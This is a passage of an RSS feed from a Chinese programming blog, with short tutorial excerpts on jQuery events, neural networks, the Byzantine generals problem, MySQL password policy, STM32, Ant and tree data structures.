$(&#39;#content&#39;).bind(&#39;click&#39;, function () { var txt = $(&#39;#msg&#39;).html() + &#39;&amp;lt;p&amp;gt;外层div元素被点击&amp;lt;/p&amp;gt;&#39;; $(&#39;#msg&#39;).html(txt); }); //为body元素绑定click事件 $(&#39;body&#39;).bind(&#39;click&#39;, function () { var txt = $(&#39;#msg&#39;).html() + &#39;&amp;lt;p&amp;gt;body元素被点击&amp;lt;/p&amp;gt;&#39;; $(&#39;#msg&#39;).html(txt); }); }); &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body id=&#34;body&#34;&amp;gt; &amp;lt;div id=&#34;content&#34;&amp;gt; 外层div元素 &amp;lt;span&amp;gt;内层span元素&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>神经网络算法推演-------前馈神经网络（feedforward neural network )</title>
      <link>https://bchobby.github.io/posts/6439e26f911242ce1c238db56604579c/</link>
      <pubDate>Mon, 19 Mar 2018 23:52:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6439e26f911242ce1c238db56604579c/</guid>
      <description>前馈神经网络（feedforward neural network )&#xA;学习神经网络的公式推导时，看到一篇很好的文章，所以就搬到了自己的博客，重新编辑了下，也算是自我学习并分享给大家，查看原文请点击===&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&#xA;1.1概述 以监督学习为例，假设我们有训练样本集 (x(i),y(i)) ( x ( i ) , y ( i ) ) ，那么神经网络算法能够提供一种复杂且非线性的假设模型 hW,b(x) h W , b ( x ) ，它具有参数 W W ，可以以此参数来拟合我们的数据。&#xA;为了描述神经网络，我们先从最简单的神经网络讲起，这个神经网络仅由一个“神经元”构成，以下即是这个“神经元”的图示： 这个“神经元”是一个以 x1,x2,x3 x 1 , x 2 , x 3 及截距 +1 + 1 为输入值的运算单元，其输出为 hW,b(x)=f(WTx)=f(∑3i=1Wixi+b) h W , b ( x ) = f ( W T x ) = f ( ∑ i = 1 3 W i x i + b ) ，其中函数 f:R↦R f : ℜ ↦ ℜ 被称为“ 激活函数”。在本教程中，我们选用sigmoid函数作为”’激活函数”’ f(⋅) f ( ⋅ ) f(z)=11+exp(−z).</description>
    </item>
    <item>
      <title>MUI上拉刷新效果实现</title>
      <link>https://bchobby.github.io/posts/5383a19c01fee3e5634566665b5525e9/</link>
      <pubDate>Mon, 19 Mar 2018 11:33:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5383a19c01fee3e5634566665b5525e9/</guid>
      <description>静态页的DOM结构（格式必须这样写，引入mui的css）&#xA;&amp;lt;div id=&#34;pullrefresh&#34; class=&#34;mui-content mui-scroll-wrapper&#34; class=&#34;maincon&#34;&amp;gt; &amp;lt;div class=&#34;mui-scroll&#34;&amp;gt; &amp;lt;div class=&#34;mui-table-view mui-table-view-chevron&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 下面是js（一定要引入jquery.js以及mui的js）&#xA;$(function(){ //上拉加载下拉刷新 mui.init({ pullRefresh : { container:&#34;#ouye&#34;,//待刷新区域标识，querySelector能定位的css选择器均可，比如：id、.class等 up : { height:50,//可选.默认50.触发上拉加载拖动距离 auto:false,//可选,默认false.自动上拉加载一次 contentrefresh : &#34;正在加载...&#34;,//可选，正在加载状态时，上拉加载控件上显示的标题内容 contentnomore:&#39;没有更多数据了&#39;,//可选，请求完毕若没有更多数据时显示的提醒内容； callback :pullupRefresh //必选，刷新函数，根据具体业务来编写，比如通过ajax从服务器获取新数据； } } }); //加载更多 var counter = 1;//计数器 var Flag=true; data(); function data() { //业务 var result = &#34;&#34;; var byName = decodeURI($.getUrlVar(&#39;id&#39;));// $.ajax({ type: &#39;post&#39;, url: &#34;/commenc&#34;, async: false, dataType: &#34;json&#34;, data: { gid:byName, page: counter }, success: function (data) { Flag=data.</description>
    </item>
    <item>
      <title>监测鼠标滚轮的上下滚动来实现导航条显示隐藏</title>
      <link>https://bchobby.github.io/posts/f6eeb47f3bcd07fed369c32fe695d71b/</link>
      <pubDate>Mon, 19 Mar 2018 11:12:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6eeb47f3bcd07fed369c32fe695d71b/</guid>
      <description> $(document).on(&#34;mousewheel DOMMouseScroll&#34;, function (e) { var delta = (e.originalEvent.wheelDelta &amp;amp;&amp;amp; (e.originalEvent.wheelDelta &amp;gt; 0 ? 1 : -1)) || // chrome &amp;amp; ie (e.originalEvent.detail &amp;amp;&amp;amp; (e.originalEvent.detail &amp;gt; 0 ? -1 : 1)); // firefox s = $(window).scrollTop(); if(s != 0){ $(&#39;.nav_top&#39;).addClass(&#39;nav_box&#39;);//滚动条样式 } if (delta &amp;gt; 0) { // 向上滚 $(&#39;.nav_top&#39;).fadeIn(400);//导航条显示 $(&#39;.nav_top&#39;).addClass(&#39;nav_box&#39;); if(s == 0){ $(&#39;.nav_top&#39;).removeClass(&#39;nav_box&#39;); } } else if (delta &amp;lt; 0) { // 向下滚 $(&#39;.nav_top&#39;).fadeOut(400);//导航条隐藏 } }); </description>
    </item>
    <item>
      <title>通俗易懂解释拜占庭容错</title>
      <link>https://bchobby.github.io/posts/5206def1c011f4e9f646b9a5fee23fc1/</link>
      <pubDate>Sun, 18 Mar 2018 03:39:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5206def1c011f4e9f646b9a5fee23fc1/</guid>
      <description>作者：苏江同学 链接：https://www.jianshu.com/p/5fea30b25f0a 來源：简书 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。&#xA;拜占庭将军问题很多人可能听过，但不知道是什么意思，本文从非专业的角度来讲讲，拜占庭将军问题到底是说什么的。&#xA;拜占庭将军问题（Byzantine Generals Problem），首先由Leslie Lamport与另外两人在1982年提出，很简单的故事模型，却困扰了计算机科学家们数十年。&#xA;故事大概是这么说的：&#xA;拜占庭帝国即中世纪的土耳其，拥有巨大的财富，周围10个邻邦垂诞已久，但拜占庭高墙耸立，固若金汤，没有一个单独的邻邦能够成功入侵。任何单个邻邦入侵的都会失败，同时也有可能自身被其他9个邻邦入侵。拜占庭帝国防御能力如此之强，至少要有十个邻邦中的一半以上同时进攻，才有可能攻破。&#xA;然而，如果其中的一个或者几个邻邦本身答应好一起进攻，但实际过程出现背叛，那么入侵者可能都会被歼灭。&#xA;于是每一方都小心行事，不敢轻易相信邻国。这就是拜占庭将军问题&#xA;在拜占庭问题里，各邻国最重要的事情是：所有将军如何能过达成共识去攻打拜占庭帝国。&#xA;达成共识并非坐下来开个会那么简单，有的将军心机深不可测，口是心非，如果有叛徒，可能会出现各种问题：&#xA;叛徒可能欺骗某些将军自己将采取进攻行动。 叛徒可能怂恿其他将军行动。 叛徒可能迷惑其他将军，使他们接受不一致的信息，从而感到迷惑。&#xA;针对拜占庭问题的深入研究，科学家们得出一个结论：如果叛徒的数量大于或等于1/3，拜占庭问题不可解。&#xA;解释过程可以用一个副官模型来解释：&#xA;假设只有3个人，A、B、C，三人中如果其中一个是叛徒。当A发出进攻命令时，B如果是叛徒，他可能告诉C，他收到的是“撤退”的命令。这时C收到一个“进攻”，一个“撤退“，于是C被信息迷惑，而无所适从。&#xA;如果A是叛徒。他告诉B“进攻”，告诉C“撤退”。当C告诉B，他收到“撤退”命令时，B由于收到了司令“进攻”的命令，而无法与C保持一致。&#xA;正由于上述原因，在只有三个角色的系统中，只要有一个是叛徒，即叛徒数等于1/3，拜占庭问题便不可解。&#xA;当然，只要叛徒数小于1/3，问题还是可解的。&#xA;科学家们提出了口头信息方案和书面协议两个方案。&#xA;解决方案一：用口头信息 口头信息即使将军们派人用口信传达消息，口头传达消息的实际含义指的是：&#xA;每个被发送的消息都能够被正确投递 信息接受者知道消息是谁发的 沉默（不发消息）可以被检测 口头协议的算法很简单，如果其中一个节点，比如1发布消息出去，210都接受到1的消息，然后210也分别转告给其他的节点，每个节点都是信息的转达者，一轮下来，每个节点手上都会有10个信息（进攻或者撤退），有叛徒的话，那信息可能有进攻或者不进攻的不一致消息。每个人相当于手里有一本消息的账本，该怎么决策呢？如果有一半以上的人说进攻，那么采取进攻行动就是能成功的，所以这时即便有叛徒，只要听大部分人的，少数服从多数来行动即是有利的。&#xA;这种口头协议的算法也存在明显的缺点：口头协议并不会告知消息的上一个来源是谁，也就是消息不可追根溯源，出现信息不一致也很难找到叛徒在哪。&#xA;解决方案二：用书面协议 可以假设10个国家，每个国家都可以派人向各个国家派信，比如一起约定 “某天早上六点，大家一起进攻拜占庭，同意就签个字”。收到信的国家如果同意的话，就可以在原信上签名盖章。&#xA;书面协议相比口头协议，实际说的是在这个多人的将军模型中加了了个隐含条件：&#xA;将军们能够使用签名技术，签名不可伪造，一旦篡改即可发现。 同时任何人都可以验证签名的可靠性。 书面协议相比口头协议，所有的消息都是有记录的，解决了追根溯源的问题。&#xA;但在现实中仍然可能面临各种问题：&#xA;中世纪的邻邦之间沟通只能靠信使骑马，将军们互不信任，也不可能亲自聚在一起开会，物理距离导致信息传输延迟。&#xA;真正可信的签名体系难以实现。签名造假的问题也没法避免。&#xA;签名消息记录的保存难以摆脱中心化的机构。&#xA;另外，倘若每个国家都各自向其他9个国家派出信使，在这个网络即需要90次的传输才能完成一轮信息交流，但是每个国家可能回馈不同的进攻时间，在这种异步通信的条件下，要能协商一致是个大问题。&#xA;也就是如果能够依赖中心化可信的机构，也许能通过多方的签名记录整合在一起，更容易地实现9个国家的意见统一，但这是个伪假设，因为前提是这个网络就是互不信任的。&#xA;这就是一个由互不信任的各个邻邦国家所构成的分布式网络，要获得最大的利益，又必须一起努力才能完成，如何达成一致的共识，变成了一个难题。&#xA;莱斯利·兰伯特提出了“拜占庭将军问题”，但真正解决这以难题的是——中本聪。&#xA;终极解决方案：区块链技术 互联网的存在，首先降低了信息的流通成本。每个将军配一台电脑，就解决了”书面协议“中骑马通讯造成时间延迟的问题。&#xA;如果10个将军中的几个同时发起消息，势必会造成系统的混乱，造成各说各的攻击时间方案，行动难以一致。&#xA;谁都可以发起进攻的信息，但由谁来发出呢？中本聪巧妙地在个系统加入了发送信息的成本，即：一段时间内只有一个节点可以传播信息。&#xA;它加入的成本就是”工作量“——节点必须完成一个计算工作才能向各城邦传播消息，当然，谁第一个完成工作，谁才能传播消息。&#xA;当某个节点发出统一进攻的消息后，各个节点收到发起者的消息必须签名盖章，确认各自的身份。中本聪在这里引用现代加密技术为这个信息签名。&#xA;这种加密技术——非对称加密完全可以解决古代难以解决的签名问题：&#xA;消息传送的私密性 能够确认身份 签名不可伪造、篡改 非对称加密算法的加密和解密使用不同的两个密钥.这两个密钥就是我们经常听到的”公开密钥”(公钥)和”私有密钥”(私钥).&#xA;公钥和私钥一般成对出现, 如果消息使用公钥加密,那么需要该公钥对应的私钥才能解密; 同样，如果消息使用私钥加密,那么需要该私钥对应的公钥才能解密.&#xA;非对称加密的作用是:保护消息内容, 并且让消息接收方确定发送方的身份.&#xA;比如，将军A想给将军B发送消息，为防止消息泄露，将军A只需要使用B的公钥对信息加密，而B的公钥是公开的，B只需要用只有他自己只的私钥解密即可。&#xA;将军B想要在信件上声明自己的身份，他可以自己写一段”签名文本“，并用私钥签名，并广播出去，所有人可以根据B的公钥来验证该签名，确定的B的身份。&#xA;由此，一个不可信的分布式网络变成了一个可信的网络，所有的参与者可以在某件事在达成一致。&#xA;写到这里，同时终于明白了工作量证明（Proof Of Work）的意义。有人说挖矿浪费了巨大的社会资源，但建立信任的成本可不是0，挖矿是维护比特币网络可靠性的最好办法。</description>
    </item>
    <item>
      <title>github Repository not found 解决</title>
      <link>https://bchobby.github.io/posts/2d1d30d4444048e828844b6a969d5405/</link>
      <pubDate>Sun, 18 Mar 2018 00:18:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d1d30d4444048e828844b6a969d5405/</guid>
      <description> I was also facing the same issue&#xA;remote: Repository not found fatal: repository &#39;https://github.com/MyRepo/project.git/&#39; not found remote: Repository not found. fatal: repository &#39;https://github.com/MyRepo/project.git/&#39; not found&#xA;I uninstalled the git credentials manager and reinstalled it and then I could easily pull and push to the repository. Here are the commands&#xA;$ git credential-manager uninstall $ git credential-manager install </description>
    </item>
    <item>
      <title>相对路径绝对路径</title>
      <link>https://bchobby.github.io/posts/bea40b6d2bca19e914344bae4bfe1d42/</link>
      <pubDate>Sat, 17 Mar 2018 12:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bea40b6d2bca19e914344bae4bfe1d42/</guid>
      <description>前两天突然发现自己一直以来对相对路径绝对路径的理解都是错的，于是赶紧查了相关资料。&#xA;1.绝对路径 绝对路径是指文件在硬盘上真正存在的路径。例如“bg.jpg”这个图片是存放在硬盘的“E:\book\网页布局\代码\第2章”目录下，那么 “bg.jpg”这个图片的绝对路径就是“E:\book\网页布局\代码\第2章\bg.jpg&#34;。那么如果要使用绝对路径指定网页的背景图片就应该使用 以下语句： &amp;lt;body background=&#34;E:\book\网页布局\代码\第2章\bg.jpg&#34; &amp;gt; 2.使用绝对路径的缺点 事实上，在网页编程时，很少会使用绝对路径，如果使用“E:\book\网页布局\代码\第2章\bg.jpg”来指定背景图片的位置，在自己的计算机上 浏览可能会一切正常，但是上传到Web服务器上浏览就很有可能不会显示图片了。因为上传到Web服务器上时，可能整个网站并没有放在Web服务器的E盘， 有可能是D盘或H盘。即使放在Web服务器的E盘里，Web服务器的E盘里也不一定会存在“E:\book\网页布局\代码\第2章”这个目录，因此在浏 览网页时是不会显示图片的。 3.相对路径 为了避免这种隋况发生，通常在网页里指定文件时，都会选择使用相对路径。所谓相对路径，就是相对于自己的目标文件位置。 举个例子，假设“s1.html”文件所在目录为“E:\book\网页布局\代码\第2章”，而“bg.jpg”图片所在目录为“E:\book\网页 布局\代码\第2章\img”，那么“bg.jpg”图片相对于“s1.html”文件来说，是在其所在目录的“img”子目录里，则引用图片的语句应该 为： &amp;lt;body background=&#34;img/bg.jpg&#34;&amp;gt; 注意：相对路径使用“/”字符作为目录的分隔字符，而绝对路径可以使用“\”或“/”字符作为目录的分隔字符。由于“img”目录是“第2章”目录下的子目录，因此在“img”前不用再加上“/”字符。 在 相对路径里常使用“../”来表示上一级目录。如果有多个上一级目录，可以使用多个“../”，例如“http://www.cnblogs.com/”代表上上级目录。假设 “s1.html”文件所在目录为“E:\book\网页布局\代码\第2章”，而“bg.jpg”图片所在目录为“E:\book\网页布局\代码”，那 么“bg.jpg”图片相对于“s1.html”文件来说，是在其所在目录的上级目录里，则引用图片的语句应该为： &amp;lt;body background=&#34;../bg.jpg&#34;&amp;gt; 再举一个例子，假设“s1.htm”文件所在目录为“E:\book\网页布局\代码\第2章”，而“bg.jpg”图片所在目录为“E:\book\网页布局\代码\img”，那么“bg.jpg”图片相对于“s1.htm”文件来说，是在其所在目录的上级目录里的“img”子目录里，则引用图片的语句 应该为： &amp;lt;body background=&#34;../img/bg.jpg&#34;&amp;gt; 总结&#xA;同一个目录的文件引用&#xA;如果源文件和引用文件在同一个目录里，直接写引用文件名即可。 我们现在建一个源文件info.html，在info.html里要引用index.html文件作为超链接。&#xA;假设info.html路径是：c:/Inetpub/wwwroot/sites/blabla/info.html&#xA;假设index.html路径是：c:/Inetpub/wwwroot/sites/blabla/index.html&#xA;在info.html加入index.html超链接的代码应该这样写：&#xA;&amp;lt;a href = &#34;index.html&#34;&amp;gt;index.html&amp;lt;/a&amp;gt;&#xA;如何表示上级目录&#xA;../表示源文件所在目录的上一级目录，../../表示源文件所在目录的上上级目录，以此类推。&#xA;假设info.html路径是：c:/Inetpub/wwwroot/sites/blabla/info.html&#xA;假设index.html路径是：c:/Inetpub/wwwroot/sites/index.html&#xA;在info.html加入index.html超链接的代码应该这样写：&#xA;&amp;lt;a href = &#34;../index.html&#34;&amp;gt;index.html&amp;lt;/a&amp;gt;&#xA;假设info.html路径是：c:/Inetpub/wwwroot/sites/blabla/info.html&#xA;假设index.html路径是：c:/Inetpub/wwwroot/index.html&#xA;在info.html加入index.html超链接的代码应该这样写：&#xA;&amp;lt;a href = &#34;../../index.html&#34;&amp;gt;index.html&amp;lt;/a&amp;gt;&#xA;假设info.html路径是：c:/Inetpub/wwwroot/sites/blabla/info.html&#xA;假设index.html路径是：c:/Inetpub/wwwroot/sites/wowstory/index.html&#xA;在info.html加入index.html超链接的代码应该这样写：&#xA;&amp;lt;a href = &#34;../wowstory/index.html&#34;&amp;gt;index.html&amp;lt;/a&amp;gt;&#xA;如何表示下级目录&#xA;引用下级目录的文件，直接写下级目录文件的路径即可。&#xA;假设info.html路径是：c:/Inetpub/wwwroot/sites/blabla/info.html&#xA;假设index.html路径是：c:/Inetpub/wwwroot/sites/blabla/html/index.html</description>
    </item>
    <item>
      <title>MAC构建ipv6环境</title>
      <link>https://bchobby.github.io/posts/5e22e84a729932087a7e5c9c3dbd8a75/</link>
      <pubDate>Thu, 15 Mar 2018 10:36:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e22e84a729932087a7e5c9c3dbd8a75/</guid>
      <description> 设备需求 1、一台具有流量的手机A 2、一台安装测试App的手机B 3、一台MAC&#xA;一、共享wifi 手机A关闭wifi，打开个人热点，开启热点，点击仅蓝牙和USB 二、MAC连接共享wifi 用USB将手机A与MAC连接，查看一下显示iPhone USB是否已经连接上（偏好设置-&amp;gt;网络），若没有，可尝试关闭MAC的wifi，将自动连接共享wifi。 三、MAC创建IPV6共享 MAC打开共享（偏好设置-&amp;gt;共享），长按option键，点击互联网共享，界面下边会出现创建NAT64网络，然后按照下图所示，共享以下来源的连接选择iPhone USB，用以下端口共享给电脑选择Wi-Fi。 点击Wi-Fi选项，可设置共享wifi密码，以便手机B连接 然后点击互联网共享，开始共享wifi 四、连接共享IPV6网络 手机B连接MAC共享的wifi，显示如下代表ipv6创建成功 </description>
    </item>
    <item>
      <title>STM32学习笔记之__attribute__ ((at())绝对定位分析</title>
      <link>https://bchobby.github.io/posts/89218d306e5ad034b751d1f79639cf56/</link>
      <pubDate>Thu, 15 Mar 2018 09:54:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89218d306e5ad034b751d1f79639cf56/</guid>
      <description>在学习STM32 IAP 时,遇到了关于数组存储空间绝对定位的问题,例如:&#xA;u8 USART_RX_BUF[USART_REC_LEN] __attribute__ ((at(0X20001000))); 首先我们先搞懂这里的两个关键字.&#xA;__attribute__ 是用来指定变量或结构位域的特殊属性,该关键字后的双括弧中的内容是属性说明.at 关键字可以用来设置变量的绝对地址,也就是通过这个关键字,指定某个变量处于内存里面的某个给定的地址. 那么上面的那条语句的意思就是,将 USART_RX_BUF 数组的首地址设定为 0X20001000 (SRAM内存地址区域).&#xA;疑惑: 在学习STM32 IAP 编程时,IAP程序将串口接收到的APP bin文件数据存储在设定的区域上(0X20001000)SRAM中,更新APP程序时,将SRAM中接收到的数据写入到Flash中,完成APP固件的更新.那是否可以将串口数组直接定位到Flash中呢?(Flash写操作前,必须先进行擦除)</description>
    </item>
    <item>
      <title>fan-out的定义</title>
      <link>https://bchobby.github.io/posts/a5d512c574843dc7e27fb49e91f6432c/</link>
      <pubDate>Thu, 15 Mar 2018 09:50:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5d512c574843dc7e27fb49e91f6432c/</guid>
      <description>找了中文意思，没有找到！&#xA;fan-out: refers to the number of pointers per node that the tree is having.&#xA;即，树中每个结点的孩子结点的个数，或者是每个结点的指针的个数。</description>
    </item>
    <item>
      <title>Ant内置任务之xmlproperty</title>
      <link>https://bchobby.github.io/posts/5ddb4a9178a93d7e9aeff0b0d4d4b2b6/</link>
      <pubDate>Wed, 14 Mar 2018 23:32:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ddb4a9178a93d7e9aeff0b0d4d4b2b6/</guid>
      <description> 一、概述 xmlproperty是Ant内置任务，用于从格式良好的XML文件中加载属性。例如：&#xA;&amp;lt;root&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;foo&amp;gt;bar&amp;lt;/foo&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;/root&amp;gt; 等价于java属性文件的root.properties.foo = bar，默认情况下此任务不对输入做处理，不会解析属性引用如${foo}。 可以通过semanticAttributes属性启动输入处理，如果设置为true，当XML加载时会进行以下处理： 1.解析属性引用。 2.以下属性将做不同的处理： id：属性与给定的id值关联。 location：属性被视为文件位置。 refid：属性设置为引用属性的值。 value：属性值设置为指定的值。 3.路径结构可以通过以下属性定义： pathid：给定的id用于标识路径。 二、属性 file：要解析的XML文件，可以通过嵌套资源或单元素资源集合指定。&#xA;prefix：预置到每个属性的前缀。&#xA;keepRoot：是否保留XML根标签做为属性名的第一个值，默认为true。&#xA;validate：是否验证输入文件，否则XML必须是格式良好的，默认为false。&#xA;collapseAttributes：是否将属性视为嵌套元素，默认为false。&#xA;semanticAttributes：是否启用属性名称的特殊处理，默认为false。&#xA;includeSemanticAttribute：是否将语义属性名做为属性名的一部分，如果semanticAttributes设置为false，忽略此属性，默认为false。&#xA;rootDirectory：解析文件引用的目录，如果semanticAttributes设置为false，忽略此属性，默认为${basedir}。&#xA;delimiter：ant1.7.1起，用于分隔多个值的分隔符。默认为“,”。&#xA;支持的嵌套元素：&#xA;xmlcatalog：用于执行实体解析。&#xA;三、简单示例 property.xml&#xA;&amp;lt;root attr1=&#34;attrvalue1&#34;&amp;gt; &amp;lt;property&amp;gt; &amp;lt;p1 attr2=&#34;attrvalue2&#34;&amp;gt;value1&amp;lt;/p1&amp;gt; &amp;lt;p2&amp;gt;value2&amp;lt;/p2&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/root&amp;gt; build.xml &amp;lt;project&amp;gt; &amp;lt;xmlproperty file=&#34;property.xml&#34; prefix=&#34;test1&#34;/&amp;gt; &amp;lt;xmlproperty file=&#34;property.xml&#34; collapseAttributes=&#34;true&#34; prefix=&#34;test2&#34;/&amp;gt; &amp;lt;xmlproperty file=&#34;property.xml&#34; keepRoot=&#34;false&#34; prefix=&#34;test3&#34;/&amp;gt; &amp;lt;echo&amp;gt;${test1.root.property.p1}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test1.root.property.p2}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test3.property.p1}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test3.property.p1(attr2)}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test1.root(attr1)}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test1.root.property.p1(attr2)}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test2.root.attr1}&amp;lt;/echo&amp;gt; &amp;lt;echo&amp;gt;${test2.root.property.p1.attr2}&amp;lt;/echo&amp;gt; &amp;lt;/project&amp;gt; </description>
    </item>
    <item>
      <title>如何在MyEclipse查看数据库中表数据</title>
      <link>https://bchobby.github.io/posts/739048e32ca9315a9fbd57b552804188/</link>
      <pubDate>Wed, 14 Mar 2018 20:02:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/739048e32ca9315a9fbd57b552804188/</guid>
      <description>1，点击Window下的Show View 如图&#xA;2，在下方的控制台中右击 MyEclipse Derbv 打开 New&#xA;3,以oracle为例&#xA;4，打开之后就可以看到数据库中的表了</description>
    </item>
    <item>
      <title>移远M26 GSM实时获取网络时间</title>
      <link>https://bchobby.github.io/posts/809b20dc7833d9c974a2fc7409322a87/</link>
      <pubDate>Wed, 14 Mar 2018 17:17:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/809b20dc7833d9c974a2fc7409322a87/</guid>
      <description>移远M26 GSM实时获取网络时间 1.启用同步网络时间, 开启同步网络时间功能 AT+QNITZ=1，响应OK 2.获取最近一次的网络同步时间 AT+QLTS，响应+QLTS: &amp;lt;time&amp;gt;,&amp;lt;ds&amp;gt; 例： +QLTS: &#34;18/03/14,08:08:35+32,0&#34;&#xA;time格式： yy/MM/dd,hh:mm:ss±zz，各指年，月，日，小时，分钟，秒和时区（用当地时间和 GMT 时间之间的差别来表示，以四分之一小时格式来表示；范围（-47~+48） 将获取的时间存于结构体ST_Time local_time中 local_time.year = atoi(pHead +8); //其中*pHead指向+QLTS: &#34;18/03/14,08:08:35+32,0&#34;&#xA;local_time.month = atoi(pHead+11);&#xA;local_time.day = atoi(pHead+14);&#xA;local_time.hour = atoi(pHead+17);&#xA;local_time.minute= atoi(pHead+20);&#xA;local_time.second = atoi(pHead+23);&#xA;local_time.timezone = atoi(pHead+26);&#xA;typedef struct {&#xA;s32 year; s32 month;&#xA;s32 day;&#xA;s32 hour;&#xA;s32 minute;&#xA;s32 second;&#xA;s32 timezone; }ST_Time;&#xA;3.用获取的同步时间配置实时时钟 AT+CCLK=&amp;lt;time&amp;gt;, 响应OK， 例：AT+CCLK=&#34;18/03/14,08:08:35+32&#34;&#xA;4.获取实时时钟AT+CCLK？ 响应+CCLK: &amp;lt;time&amp;gt; 例 +CCLK: &#34;18/03/14,08:09:06+32&#34;&#xA;备注：每次重新上电获取一次网络时间，并将其设置为RTC时间，之后就可以通过实时查询实时时钟得到准确时间</description>
    </item>
    <item>
      <title>ERROR 1819 (HY000): Your password does not satisfy the current policy requirements</title>
      <link>https://bchobby.github.io/posts/854ea2b65e01de4407ca20b4d2e688af/</link>
      <pubDate>Wed, 14 Mar 2018 15:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/854ea2b65e01de4407ca20b4d2e688af/</guid>
      <description>关于这个问题是在 《 基于MySQL Yum存储库在Linux-7.2上安装MySQL-5.7.21数据库服务（实战篇） 》 时遇到的问题，这是 mysql 初始化时，使用临时密码，修改自定义密码时，由于自定义密码比较简单，就出现了不符合密码策略的问题。&#xA;密码策略问题异常信息：&#xA;ERROR 1819 (HY000): Your password does not satisfy the current policy requirements&#xA;如下图：&#xA;解决办法：&#xA;1、查看 mysql 初始的密码策略，&#xA;输入语句 “ SHOW VARIABLES LIKE &#39;validate_password%&#39;; ” 进行查看，&#xA;如下图：&#xA;2、首先需要设置密码的验证强度等级，设置 validate_password_policy 的全局参数为 LOW 即可，&#xA;输入设值语句 “ set global validate_password_policy=LOW; ” 进行设值，&#xA;如下图：&#xA;3、当前密码长度为 8 ，如果不介意的话就不用修改了，按照通用的来讲，设置为 6 位的密码，设置 validate_password_length 的全局参数为 6 即可，&#xA;输入设值语句 “ set global validate_password_length=6; ” 进行设值，&#xA;如下图：&#xA;4、现在可以为 mysql 设置简单密码了，只要满足六位的长度即可，&#xA;输入修改语句 “ ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;123456&#39;; ” 可以看到修改成功，表示密码策略修改成功了！！！</description>
    </item>
    <item>
      <title>Graphlib</title>
      <link>https://bchobby.github.io/posts/27dbb2ec750f5a4bed43dd4c1f271c17/</link>
      <pubDate>Mon, 12 Mar 2018 22:51:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27dbb2ec750f5a4bed43dd4c1f271c17/</guid>
      <description> Graphlib 1、概念 Graphlib是一个用于直接或间接地制作或修改图画的javascript库&#xA;参考： https://github.com/cpettitt/graphlib https://github.com/cpettitt/graphlib/wiki </description>
    </item>
    <item>
      <title>JAVA 算法——树</title>
      <link>https://bchobby.github.io/posts/4ea13290847d2ec7b31597d119146058/</link>
      <pubDate>Mon, 12 Mar 2018 20:48:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ea13290847d2ec7b31597d119146058/</guid>
      <description>1、二叉搜索树&#xA;二叉搜索树需满足以下四个条件：&#xA;若任意节点的左子树不空，则左子树上所有结点的值均小于它的根结点的值；若任意节点的右子树不空，则右子树上所有结点的值均大于它的根结点的值；任意节点的左、右子树也分别为二叉查找树；没有键值相等的节点。 2、什么是伸展树（Splay Tree） 假设想要对一个二叉查找树执行一系列的查找操作。为了使整个查找时间更小，被查频率高的那些条目就应当经常处于靠近树根的位置。于是想到设计一个简单方法，在每次查找之后对树进行重构，把被查找的条目搬移到离树根近一些的地方。splay tree应运而生。splay tree是一种自调整形式的二叉查找树，它会沿着从某个节点到树根之间的路径，通过一系列的旋转把这个节点搬移到树根去。&#xA;3、AVL树&#xA;AVL树是一种最古老的平衡树，它的平衡条件是：每个节点的左子树和右子树的高度最多相差1。对于插入、删除等改变树高度的操作，会通过旋转使树满足平衡条件。假设删除采用的是懒惰删除（即不移除节点，只将节点标识为已删除），那么对于插入则会出现下面四种情况。假设M表示从叶子上溯到根的过程中出现的第一个不平衡点。 1，对M的左儿子的左子树进行一次插入，简记左-左。 2，对M的右儿子的右子树进行一次插入，简记右-右。 3，对M的左儿子的右子树进行一次插入，简记左-右。 4，对M的右儿子的左子树进行一次插入，简记右-左。 上述四种情况，前两种可以使用单旋转进行解决，后两种要使用双旋转（即进行两次单旋转）。 对于左-左：将M与M左儿子L进行旋转——将M变为L的右儿子，而L的右儿子变为M的左儿子。对于右-右也类似。 对于左-右，将M与M的左儿子L与L的右儿子G进行旋转——先将G与L进行右-右旋转，再将G与M进行左-左旋转。 4、节点自平衡树（Size Balanced Tree，简称SBT）&#xA;Size Balanced Tree(简称SBT)是一种平衡二叉搜索树，它通过子树的大小s[t]来维持平衡性质。它支持很多动态操作，并且都能够在O(log n)的时间内完成。 为了下面方便讨论， 我们设 left [T] : 结点 T 的左儿子&#xA;right [T] : 结点 T 的右儿子&#xA;s [T] : 以T为根的子树的结点个数（大小）） SBT为什么能保持平衡？ 因为 对于SBT的每一个结点 t,有如下性质： 性质(a) s[ right[t] ]≥s[ left [ left[ t ] ] ], s[ right [ left[t] ] ]&#xA;性质(b) s[ left[t] ]≥s[right[ right[t] ] ], s[ left[ right[t] ] ]</description>
    </item>
    <item>
      <title>WAP网页中点击链接直接拨打电话的方法</title>
